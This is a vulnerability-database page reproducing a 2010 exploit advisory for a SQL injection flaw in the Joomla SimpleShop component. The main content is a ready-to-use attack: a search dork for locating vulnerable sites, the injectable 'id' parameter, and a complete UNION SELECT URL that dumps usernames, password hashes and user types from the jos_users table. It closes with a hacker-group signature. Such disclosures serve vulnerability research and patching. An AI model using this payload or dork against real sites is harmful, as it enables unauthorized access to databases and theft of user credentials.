Lucene search
K

Joomla SimpleShop SQL Injection

🗓️ 03 Aug 2010 00:00:00Reported by UnD3rGr0unD W4rri0rZType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Joomla SimpleShop SQL Injection, Vulnerability in com_simpleshop componen

Code
`==============================================================  
Joomla Component (com_simpleshop) SQL Injection Vulnerability  
==============================================================  
  
###########################  
Title : Joomla Component (com_simpleshop) SQL Injection Vulnerability  
Script : Joomla Galore Simple Shop  
Date : 07/26/2010  
Author : UnD3rGr0unD W4rri0rZ  
Vendor : http://galore.co.za/  
Dork : inurl:"option=com_simpleshop" & inurl:"viewprod"  
###########################   
  
[ Vulnerable File ]  
  
[path]/index.php?option=com_simpleshop&Itemid=xx&task=viewprod&id=[SQL]  
  
[SQL]:  
  
id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--  
  
Xpl  
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--  
  
##############################################################   
#==================================================  
#{~} I am HeaDShoT(tunisian muslim hacker) From UnD3rGr0unD W4rri0rZ {~}  
#  
#cont@ct:  
#[email protected]  
#  
#{~} there is always one who intelligent more than you do you should be optimistic {~}  
#==================================================  
#all greetZ to allah  
#&  
# my friends  
# M4MIM4N // L363ND //Meher Assel // Ghost_tn //ta3lab el maker // Th3 m3t4l-m4n  
#  
##############################################################   
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation